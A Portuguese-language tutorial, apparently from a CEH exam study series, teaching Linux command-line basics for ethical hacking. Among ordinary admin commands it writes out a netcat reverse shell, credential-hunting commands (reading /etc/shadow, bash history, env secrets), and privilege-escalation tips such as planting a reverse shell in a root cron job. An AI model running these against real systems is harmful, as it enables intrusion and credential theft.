Por que Linux?

Se você está seguindo esta série com o objetivo de se tornar um hacker ético, precisa entender uma verdade fundamental: Windows é o alvo, Linux é a arma.

A esmagadora maioria dos servidores web, bancos de dados, firewalls, roteadores e infraestrutura crítica do mundo roda Linux. As ferramentas de pentest — Nmap, Metasploit, Burp Suite, Wireshark, SQLmap — todas foram construídas para (e em) Linux. O Kali Linux, distribuição padrão da indústria, é Linux puro. Tentar fazer hacking ético sem dominar a linha de comando Linux é como tentar pilotar um caça a jato sem saber ler o painel de instrumentos.

A história é rápida: nos anos 1960, a Bell Labs criou o Unix. Em 1991, Linus Torvalds, um estudante finlandês, escreveu o kernel Linux como alternativa livre ao Unix. Décadas depois, esse kernel alimenta data centers da Google, smartphones Android, supercomputadores e — crucialmente para nós — o arsenal completo de qualquer profissional de segurança ofensiva.

DICA DO HACKER

Nos exames de certificação CEH e em testes de penetração reais, você não terá interface gráfica. Tudo acontece no terminal. Dominar a CLI não é opcional — é o filtro entre quem entende segurança e quem apenas memorizou ferramentas.

Entendendo o Terminal

Antes de digitar qualquer comando, vamos esclarecer a confusão clássica:

  • Terminal — O programa que te dá uma janela de texto (emulador de terminal). Exemplos: GNOME Terminal, xterm, Konsole.
  • Shell — O interpretador de comandos que roda dentro do terminal. Lê o que você digita e executa. O mais comum é o Bash (Bourne Again Shell), mas Zsh e Fish também existem.
  • GUI vs CLI — Interface gráfica (janelas, mouse) vs. Interface de linha de comando (texto, teclado). Em hacking, você vive na CLI.

Navegação Básica

O prompt (root@kali:~#) te diz quem você é (root), em qual máquina está (kali) e em qual diretório (~ = home). O # indica root; o $ indica usuário comum.

pwd — “Print Working Directory”. Mostra onde você está:

root@kali:~# pwd
/root

ls — Lista arquivos e diretórios:

root@kali:~# ls -la
total 40
drwx—— 6 root root 4096 May 10 10:00 .
drwxr-xr-x 19 root root 4096 May 10 09:00 ..
-rw-r–r– 1 root root 570 Jan 15 08:30 .bashrc
drwxr-xr-x 2 root root 4096 May 10 09:00 Desktop
-rwxr-xr-x 1 root root 512 May 10 10:00 enum.sh

A flag -l mostra detalhes (permissões, dono, tamanho, data). A flag -a mostra arquivos ocultos (que começam com .). Combine-as como -la.

cd — Muda de diretório:

root@kali:~# cd /etc
root@kali:/etc# cd ~
root@kali:~# cd ..
root@kali:/# cd –
/root

Atalhos: ~ vai para home, .. sobe um nível, - volta ao diretório anterior, / é a raiz absoluta.

cat — Mostra conteúdo completo de um arquivo:

root@kali:~# cat /etc/hostname
kali

less — Visualizador paginado (para arquivos grandes). Use setas para navegar, q para sair, /termo para buscar.

head e tail — Mostram o início e o fim de um arquivo:

root@kali:~# head -n 5 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

root@kali:~# tail -f /var/log/auth.log
May 10 10:05:22 kali sshd[1234]: Accepted password for root from 192.168.1.5

A flag -f no tail é ouro puro para hackers: ela acompanha o arquivo em tempo real — ideal para monitorar logs enquanto você realiza ataques.

Filesystem Linux: A Estrutura que Precisa Dominar

O Linux segue o FHS (Filesystem Hierarchy Standard) — uma hierarquia organizada onde cada diretório tem um propósito definido. Diferente do Windows (C:, D:, E:), tudo no Linux começa na raiz: /.

Diretórios Essenciais

Diretório Propósito Relevância para Hacking
/ Raiz do filesystem Ponto de partida
/home Diretórios pessoais dos usuários Alvo de privilege escalation — dados sensíveis aqui
/etc Arquivos de configuração Minha de ouro: senhas, configs de serviços, cron jobs
/var Dados variáveis (logs, spool, www) /var/log tem logs de autenticação, sistema, web
/tmp Arquivos temporários Gravável por todos — lugar perfeito para payloads e exploits
/root Home do usuário root Se você consegue ler aqui, já tem root
/bin / /sbin Binários essenciais do sistema Comandos fundamentais (bash, ls, cp, mount)
/usr Programas e bibliotecas do usuário /usr/bin e /usr/local/bin — onde ferramentas são instaladas
/opt Software de terceiros Algumas ferramentas de pentest são instaladas aqui
/dev Dispositivos (hardware) Interfaces de rede, USBs, discos aparecem aqui
/proc Informações de processos (virtual) Revela processos ativos, variáveis de ambiente, Kernel info

Permissões: rwx e o Triângulo de Acesso

Cada arquivo e diretório no Linux tem três conjuntos de permissões aplicados a três categorias de usuários:

  • Dono (owner) — quem criou o arquivo
  • Grupo (group) — grupo ao qual o dono pertence
  • Outros (others) — todo o resto do mundo

Cada categoria tem três permissões: r (read/4), w (write/2), x (execute/1). Quando você faz ls -l, a sequência -rwxr-xr-- significa:

– rwx r-x r–
│ │ │ │ │ │ │
│ │ │ │ │ └─ outros: apenas leitura (r–)
│ │ │ └─ grupo: leitura e execução (r-x)
│ └─ dono: leitura, escrita e execução (rwx)
└─ tipo: – (arquivo), d (diretório), l (link)

Alterando permissões com chmod:

root@kali:~# chmod 755 enum.sh
# Dono: rwx(7) | Grupo: r-x(5) | Outros: r-x(5)

root@kali:~# chmod +x exploit.py
# Adiciona execução para todos

root@kali:~# chmod 600 /etc/shadow
# Apenas root pode ler e escrever

Alterando dono e grupo com chown e chgrp:

root@kali:~# chown www-data:www-data /var/www/html/shell.php
root@kali:~# chgrp pentesters /opt/tools/

Permissões Especiais: SUID, SGID e Sticky Bit

Estes três conceitos são essenciais para privilege escalation — a técnica de escalar de usuário comum para root. Você vai encontrá-los em praticamente toda máquina que precisar comprometer.

SUID (Set User ID) — Quando um arquivo tem SUID, ele executa com os privilégios do dono, não de quem o chamou. Se o dono for root e o arquivo tiver SUID, qualquer usuário que executá-lo terá poder de root durante aquela execução.

root@kali:~# find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd

O comando acima lista todos os binários com SUID — é um dos primeiros passos em qualquer privilege escalation em Linux.

SGID (Set Group ID) — Similar, mas para grupos. Arquivos criados dentro de um diretório com SGID herdam o grupo do diretório, não do criador. O bit aparece como s na posição de execução do grupo: drwxr-sr-x.

Sticky Bit — Em diretórios, impede que usuários apaguem arquivos que não são seus, mesmo que tenham permissão de escrita no diretório. É por isso que /tmp funciona: todos podem escrever lá, mas ninguém pode apagar o arquivo de outro. Aparece como t: drwxrwxrwt.

NO TERMINAL

chmod u+s /usr/bin/find   # SUID no find
find / -perm -4000 2>/dev/null  # Lista SUID binaries
find / -perm -2000 2>/dev/null  # Lista SGID
stat /tmp                     # Confere sticky bit

Gerenciamento de Usuários

Entender como o Linux gerencia usuários é crucial porque toda técnica de ataque em Linux envolve usuários: quem você é, quem você pode ser, e como escalar.

Comandos de Gerenciamento

# Criar usuário com home directory e bash
root@kali:~# useradd -m -s /bin/bash hacker

# Definir senha
root@kali:~# passwd hacker
New password: ********
Retype new password: ********
passwd: password updated successfully

# Adicionar a grupos existentes (sudo, por exemplo)
root@kali:~# usermod -aG sudo,adm,docker hacker

# Trocar para o usuário
root@kali:~# su – hacker
hacker@kali:~$ whoami
hacker

# Executar comando como root com sudo
hacker@kali:~$ sudo cat /etc/shadow
[sudo] password for hacker:

# Deletar usuário (e home directory)
root@kali:~# userdel -r hacker

Os Arquivos que Importam

/etc/passwd — Lista todos os usuários do sistema. Cada linha tem o formato:

root:x:0:0:root:/root:/bin/bash
# nome:senha:UID:GID:descrição:home:shell

O x no campo de senha significa que o hash real está em /etc/shadow. Em sistemas mal configurados, você pode ver o hash direto aqui — e cracká-lo com John the Ripper ou Hashcat.

/etc/shadow — Armazena os hashes reais das senhas. Apenas root pode ler:

root:$6$rounds=5000$salt$hash_aqui:19500:0:99999:7:::
# login:$id$salt$hash:last_change:min:max:warn:inactive:expire

O $6$ indica SHA-512. $1$ é MD5 (fraco). $5$ é SHA-256. Se você encontrar $1$ em produção, é um finding.

DICA DO HACKER

Em CTFs e testes de pentest, um dos primeiros checks é: consigo ler /etc/shadow? Posso ler /etc/passwd? Algum usuário tem UID 0 (root) que não deveria ter? Posso escrever em /etc/passwd? Respostas sim para qualquer uma dessas = caminho para comprometimento.

Processos e Serviços

Um processo é um programa em execução. Entender como listar, monitorar e matar processos é fundamental tanto para administração quanto para ataque — você precisa saber o que roda na máquina alvo, e às vezes precisa matar processos defensivos antes de prosseguir.

# Lista todos os processos (formato BSD)
root@kali:~# ps aux
USER   PID %CPU %MEM   VSZ  RSS TTY   STAT START  TIME COMMAND
root    1  0.0  0.3 169636 12888 ?    Ss   09:00  0:03 /sbin/init
root   412  0.0  0.1   8544  4368 ?    Ss   09:00  0:00 sshd: /usr/sbin/sshd
www-d 1052  0.2  0.5 312456 20120 ?    S   09:01  0:08 apache2 -k start

# Monitor interativo
root@kali:~# top

# Matar processo por PID
root@kali:~# kill 1052
root@kali:~# kill -9 1052  # SIGKILL — não pode ser ignorado

# Gerenciar serviços com systemd
root@kali:~# systemctl start apache2
root@kali:~# systemctl status sshd
root@kali:~# systemctl stop firewalld
root@kali:~# systemctl enable nginx  # Inicia no boot

# Verificar serviços habilitados
root@kali:~# systemctl list-unit-files –type=service –state=enabled

Cron Jobs: Agendamento de Tarefas

Cron é o agendador do Linux — e um vetor de ataque clássico. Se você puder escrever em um cron job que roda como root, você ganha root.

# Listar crons do usuário atual
hacker@kali:~$ crontab -l

# Editar crons do usuário atual
hacker@kali:~$ crontab -e

# Crontab de root (precisa ser root)
root@kali:~# cat /etc/crontab
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /opt/scripts/backup.sh > /dev/null 2>&1

# Crontabs de outros usuários
root@kali:~# ls -la /var/spool/cron/crontabs/
root@kali:~# cat /var/spool/cron/crontabs/www-data

O formato cron: minuto hora dia-do-mês mês dia-da-semana comando. O * significa “qualquer valor”. */5 * * * * = a cada 5 minutos.

DICA DO HACKER

Em privilege escalation, sempre verifique: /etc/crontab, /var/spool/cron/crontabs/, /etc/cron.d/, /etc/cron.daily/. Se um cron job roda como root e você pode modificar o script que ele executa — jogo acabado. Basta colocar um reverse shell no script.

Comandos Essenciais para Hackers

Estes comandos formam o kit básico de qualquer pentester. Você vai usá-los diariamente — para analisar logs, extrair dados, processar saídas de ferramentas e automatizar tarefas.

grep — Busca com Padrões

# Buscar string em arquivo
root@kali:~# grep “password” /var/log/auth.log

# Regex: buscar IPs em texto
root@kali:~# grep -Eo ‘[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ access.log
192.168.1.105
10.0.0.1
172.16.0.50

# Case insensitive, com número da linha
root@kali:~# grep -in “failed” /var/log/auth.log
452:May 10 08:12:01 sshd: Failed password for root from 192.168.1.200
453:May 10 08:12:04 sshd: Failed password for root from 192.168.1.200

# Inverter — linhas que NÃO contêm o padrão
root@kali:~# grep -v “127.0.0.1” hosts.txt

find — Busca Avançada de Arquivos

# Arquivos modificados nas últimas 24h
root@kali:~# find / -mtime -1 2>/dev/null

# Arquivos SUID (privilege escalation)
root@kali:~# find / -perm -4000 2>/dev/null

# Arquivos de configuração editáveis por qualquer um
root@kali:~# find /etc -writable 2>/dev/null

# Por nome e tipo
root@kali:~# find / -name “*.conf” -type f 2>/dev/null

# Por tamanho (maiores que 10MB)
root@kali:~# find / -size +10M 2>/dev/null

# Executar ação em cada resultado
root@kali:~# find /tmp -name “*.txt” -exec cat {} \;

Pipes e Redirecionamento

O operador | (pipe) conecta a saída de um comando à entrada do próximo. É a força que transforma comandos simples em pipelines poderosos:

# Quantas tentativas de login falharam por IP
root@kali:~# grep “Failed password” /var/log/auth.log | awk ‘{print $11}’ | sort | uniq -c | sort -rn | head
   342 192.168.1.200
   15 10.0.0.55
    3 172.16.0.10

# Salvar output em arquivo (sobrescreve)
root@kali:~# nmap -sV 192.168.1.0/24 > scan_results.txt

# Adicionar ao final do arquivo
root@kali:~# echo “scan completo” >> scan_results.txt

# Tee: mostra na tela E salva no arquivo
root@kali:~# cat /etc/passwd | tee passwd_backup.txt

# xargs: passa argumentos de stdin para outro comando
root@kali:~# find / -name “*.log” 2>/dev/null | xargs grep -l “password”

# Redirecionar stderr para /dev/null (silenciar erros)
root@kali:~# find / -name “shadow” 2>/dev/null

Outros Comandos Essenciais

# Contar linhas, palavras, caracteres
root@kali:~# wc -l passwords.txt
14320 passwords.txt

# Ordenar alfabética ou numericamente
root@kali:~# sort -n ports.txt  # numérico
root@kali:~# sort -u ips.txt   # remover duplicatas

# Uniq: remove linhas duplicadas consecutivas
root@kali:~# cat access.log | awk ‘{print $1}’ | sort | uniq -c | sort -rn

# awk: processamento de colunas
root@kali:~# echo “root:x:0:0” | awk -F: ‘{print “User:”, $1, “UID:”, $3}’
User: root UID: 0

# sed: substituição em stream
root@kali:~# cat config.txt | sed ‘s/password=abc/password=xyz/g’

# locate: busca rápida por nome (usa banco de dados)
root@kali:~# locate passwd
/etc/passwd
/etc/pam.d/common-password
/usr/share/wordlists/rockyou.txt

NO TERMINAL

grep -rn “api_key” /var/www/      # Credenciais hardcoded
find / -writable -type d 2>/dev/null   # Diretórios graváveis
history | grep -i “ssh\|scp\|ftp”   # Histórico de transferências
cat ~/.bash_history                  # Tudo que o usuário digitou

Comandos de Rede no Linux

Rede é o campo de batalha do hacker ético. Estes comandos são os olhos e ouvidos — você precisa deles para reconhecer alvos, avaliar conectividade, transferir dados e manter acesso.

Configuração e Diagnóstico

# Interfaces de rede (ip moderno, substitui ifconfig)
root@kali:~# ip addr show
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500
   inet 192.168.1.100/24 brd 192.168.1.255 scope global eth0

# Tabela de roteamento
root@kali:~# ip route
default via 192.168.1.1 dev eth0
192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.100

# Ping — testar conectividade
root@kali:~# ping -c 4 192.168.1.1
4 packets transmitted, 4 received, 0% packet loss

# Traceroute — caminho até o destino
root@kali:~# traceroute 8.8.8.8
 1  gateway (192.168.1.1)  0.5ms
 2  10.0.0.1              5.2ms
 3  isp-router           12.1ms

Portas e Conexões

# ss — sockets estatísticas (substitui netstat)
root@kali:~# ss -tuln
Netid State  Recv-Q Send-Q Local Address:Port   Peer Address:Port
tcp  LISTEN 0     128 0.0.0.0:22        0.0.0.0:*
tcp  LISTEN 0     511 0.0.0.0:80        0.0.0.0:*
tcp  LISTEN 0     511 0.0.0.0:443       0.0.0.0:*
udp  UNCONN 0     0   0.0.0.0:5353       0.0.0.0:*

# Flags: -t (TCP), -u (UDP), -l (listening), -n (numeric)
# Para ver conexões ESTABELECIDAS:
root@kali:~# ss -tn state established

Transferência de Arquivos

# wget — download direto
root@kali:~# wget https://raw.githubusercontent.com/repo/exploit.py -O /tmp/exploit.py

# curl — versão suíça (download, POST, headers, API calls)
root@kali:~# curl -s http://target/api/users | python3 -m json.tool
root@kali:~# curl -X POST -d “user=admin&pass=test” http://target/login
root@kali:~# curl -I http://target  # Apenas headers

# scp — cópia segura via SSH
root@kali:~# scp root@192.168.1.100:/etc/passwd ./passwd_local
root@kali:~# scp exploit.py root@192.168.1.100:/tmp/

# ssh — acesso remoto seguro
root@kali:~# ssh -p 2222 user@192.168.1.100

# netcat (nc) — o canivete suíço do hacker
# Reverse shell (na máquina alvo):
victim@target:~$ nc -e /bin/bash 192.168.1.100 4444
# Listener (na sua máquina):
root@kali:~# nc -lvnp 4444
listening on [any] 4444 …
connect to [192.168.1.100] from victim [192.168.1.105] 52341

Nmap: Introdução

Nmap é a ferramenta de scanning por excelência. Artigos futuros vão aprofundar, mas aqui está o essencial:

# Scan de portas básico
root@kali:~# nmap 192.168.1.105

# Scan de todas as 65535 portas
root@kali:~# nmap -p- 192.168.1.105

# Detecção de versão e SO
root@kali:~# nmap -sV -O 192.168.1.105

# Scan de rede inteira (hosts ativos)
root@kali:~# nmap -sn 192.168.1.0/24

DICA DO HACKER

Netcat é indispensável. Além de reverse shells, use para transferir arquivos entre máquinas sem scp, criar chat simples, port forwarding e testar conectividade de portas. Decore: nc -lvnp PORTA para ouvir, nc IP PORTA para conectar.

Bash Scripting Básico

Quando os mesmos comandos se repetem, automatize. Bash scripting é como montar blocos Lego com os comandos que você já aprendeu. Não é programação bonita — é programação eficiente.

Estrutura Básica

#!/bin/bash
# Hello World
NOME=“Hacker”
echo “Olá, $NOME!”

# Variáveis de ambiente e argumentos
echo “Argumento 1: $1”
echo “Todos: $@”
echo “Quantidade: $#”

# Entrada do usuário
read -p “IP do alvo: “ TARGET
echo “Escaneando $TARGET…”

Condicionais

#!/bin/bash

if [ $(id -u) -eq 0 ]; then
  echo “[+] Executando como root”
elif [ $(id -u) -eq 1000 ]; then
  echo “[!] Usuário comum — privilégios limitados”
else
  echo “[-] Usuário desconhecido: $(whoami)”
fi

# Verificar se arquivo existe
if [ -f “/etc/shadow” ]; then
  echo “[+] Shadow acessível!”
fi

Loops

# For loop — varrer uma lista de IPs
for ip in 192.168.1.{1..254}; do
  ping -c 1 -W 1 $ip > /dev/null 2>&1 && echo “[+] $ip está online”
done

# While loop — ler arquivo linha por linha
while read -r linha; do
  echo “Processando: $linha”
done < alvos.txt

Funções

#!/bin/bash

banner() {
  echo “================================”
  echo ” Enumeração Básica v1.0″
  echo ” Alvo: $1″
  echo “================================”
}

banner “$1”

Script Prático: Enumeração Básica de Alvo

Aqui vai um script real que você pode usar para começar a enumeração de qualquer máquina Linux alvo:

#!/bin/bash
# enum.sh — Enumeração básica de máquina Linux
# Uso: ./enum.sh [ip_do_alvo]

TARGET=“${1:-localhost}”
OUTFILE=“enum_${TARGET}_$(date +%Y%m%d_%H%M).txt”

echo “[*] Iniciando enumeração de $TARGET” | tee “$OUTFILE”
echo “[*] Data: $(date)” | tee -a “$OUTFILE”
echo “———————————–“ | tee -a “$OUTFILE”

# Informações do sistema
echo “[+] Informações do sistema:” | tee -a “$OUTFILE”
uname -a | tee -a “$OUTFILE”

# Usuários com shell
echo “[+] Usuários com shell:” | tee -a “$OUTFILE”
grep “/bin/bash” /etc/passwd | tee -a “$OUTFILE”

# SUID binaries
echo “[+] Binários SUID:” | tee -a “$OUTFILE”
find / -perm -4000 -type f 2>/dev/null | tee -a “$OUTFILE”

# Portas abertas
echo “[+] Portas abertas:” | tee -a “$OUTFILE”
ss -tuln | tee -a “$OUTFILE”

# Cron jobs
echo “[+] Cron jobs:” | tee -a “$OUTFILE”
cat /etc/crontab 2>/dev/null | tee -a “$OUTFILE”
ls -la /etc/cron.d/ 2>/dev/null | tee -a “$OUTFILE”

# Variáveis de ambiente
echo “[+] Variáveis de ambiente com credenciais:” | tee -a “$OUTFILE”
env | grep -iE “pass|key|token|secret|auth” | tee -a “$OUTFILE”

echo “[*] Enumeração concluída. Resultados em: $OUTFILE”

Text Editors: nano e vim

Você vai precisar editar arquivos — configs, scripts, exploits, web shells. Dois editores dominam o terminal Linux.

nano — Simples e Direto

O editor para quem quer resultado sem curva de aprendizado. Atalhos essenciais:

Atalho Ação
Ctrl+O Salvar
Ctrl+X Sair
Ctrl+K Cortar linha
Ctrl+U Colar linha
Ctrl+W Buscar
Ctrl+\ Buscar e substituir

vim — O Editor do Hacker

Vim tem uma curva de aprendizado famosa, mas uma vez dominado, é absurdamente mais rápido que qualquer outro editor. E todo servidor Linux tem vim instalado. No contexto de hacking, você vai precisar dele.

Vim tem dois modos principais: Normal (para navegar/comandos) e Insert (para digitar). Pressione i para entrar em Insert, Esc para voltar ao Normal.

Ação Normal Mode Command Mode (:)
Entrar no modo Insert i (antes do cursor) / a (depois) / o (nova linha) —
Salvar — :w
Sair — :q
Salvar e sair — :wq ou ZZ
Sair sem salvar — :q!
Deletar linha dd —
Desfazer u —
Buscar /padrão (próximo: n, anterior: N) —
Mostrar números de linha — :set nu
Ir para linha — :42

DICA DO HACKER

Se travar no vim, não entre em pânico. Pressione Esc (garantir que está em Normal mode), depois :q! e Enter. Para aprender vim de verdade, execute vimtutor no terminal — é um tutorial interativo de 30 minutos que cobre tudo que você precisa.

Kali Linux: O Arsenal do Hacker Ético

Kali Linux é a distribuição Linux mais usada por profissionais de segurança ofensiva. Mantida pela Offensive Security (a mesma do OSCP), é baseada em Debian e vem com mais de 600 ferramentas de pentest pré-instaladas.

Categorias de Ferramentas

  • Information Gathering — Nmap, Recon-ng, Maltego, theHarvester, SpiderFoot
  • Vulnerability Analysis — Nikto, OpenVAS, Nessus, Nmap NSE scripts
  • Web App Attacks — Burp Suite, SQLmap, OWASP ZAP, wfuzz, DirBuster
  • Password Attacks — John the Ripper, Hashcat, Hydra, Medusa, Crunch
  • Wireless Attacks — Aircrack-ng, Wifite, Reaver, Kismet
  • Reverse Engineering — Ghidra, GDB, Radare2, APKTool
  • Exploitation — Metasploit Framework, SearchSploit, BeEF
  • Sniffing/Spoofing — Wireshark, tcpdump, Ettercap, Responder
  • Post-Exploitation — Meterpreter, Empire, Mimikatz (via Wine)
  • Forensics — Autopsy, Volatility, Binwalk, Foremost

Para acessar todas as ferramentas, use o menu do Kali ou navegue em /usr/share/kali-menu. A partir do terminal, basta digitar o nome da ferramenta — ela já está no PATH.

Alternativas ao Kali

  • Parrot OS — Interface mais amigável, baseada em Debian, inclui ferramentas de privacidade e desenvolvimento. Melhor para uso diário + pentest.
  • BlackArch — Baseada em Arch Linux, com o maior repositório de ferramentas (2800+). Para quem gosta de Arch e quer controle total.
  • Ubuntu — Você pode instalar qualquer ferramenta de pentest no Ubuntu. Muitos profissionais preferem ter um Ubuntu limpo e instalar apenas o que precisam — menos bloat, menos superfície de ataque na máquina do atacante.

RECOMENDAÇÃO

Para aprender, use Kali em máquina virtual (VirtualBox ou VMware). Isso te dá um ambiente isolado para experimentar sem risco. Quando estiver confortável, migre para um setup com Parrot OS ou Ubuntu + ferramentas manuais — é assim que profissionais trabalham no dia a dia.

Tabela de Referência Rápida

Comando Descrição Exemplo
pwd Diretório atual —
ls -la Listar arquivos detalhados —
cd Mudar diretório cd /etc
cat / head / tail Ler conteúdo de arquivos tail -f /var/log/auth.log
grep Buscar padrões em texto grep -rn "pass" /var/
find Buscar arquivos find / -perm -4000 2>/dev/null
chmod / chown Permissões e dono chmod 755 script.sh
useradd / passwd Criar usuários useradd -m -s /bin/bash novo
ps / top / htop Monitorar processos ps aux | grep apache
systemctl Gerenciar serviços systemctl start ssh
ip / ss Rede e portas ss -tuln
nmap Scanning de portas e rede nmap -sV -O 192.168.1.1
curl / wget Transferência HTTP curl -sO http://x/file.sh
nc Netcat — shells e conectividade nc -lvnp 4444
awk / sed Processamento de texto awk '{print $1}' log.txt
crontab Agendamento de tarefas crontab -e

Próximo Artigo

Com o terminal dominado, estamos prontos para o próximo passo da série CEH v13: Artigo 04 — O que é Segurança da Informação?. Vamos cobrir a tríade CIA (Confidentiality, Integrity, Availability), modelos de segurança, classificações de controle, gestão de risco, frameworks (NIST, ISO 27001) e como esses conceitos se traduzem na prática de hacking ético. A base teórica que transforma um “script kiddie” em um profissional que entende por que cada ataque funciona.

Série CEH v13 Zero to Hero:

  • Artigo 01 — CEH v13: De Zero a Hacker Ético
  • Artigo 02 — Networking para Hackers: O Alicerce
  • Artigo 03 — Linux para Hackers Éticos: Guia Prático de Linha de Comando
  • Artigo 04 — O que é Segurança da Informação?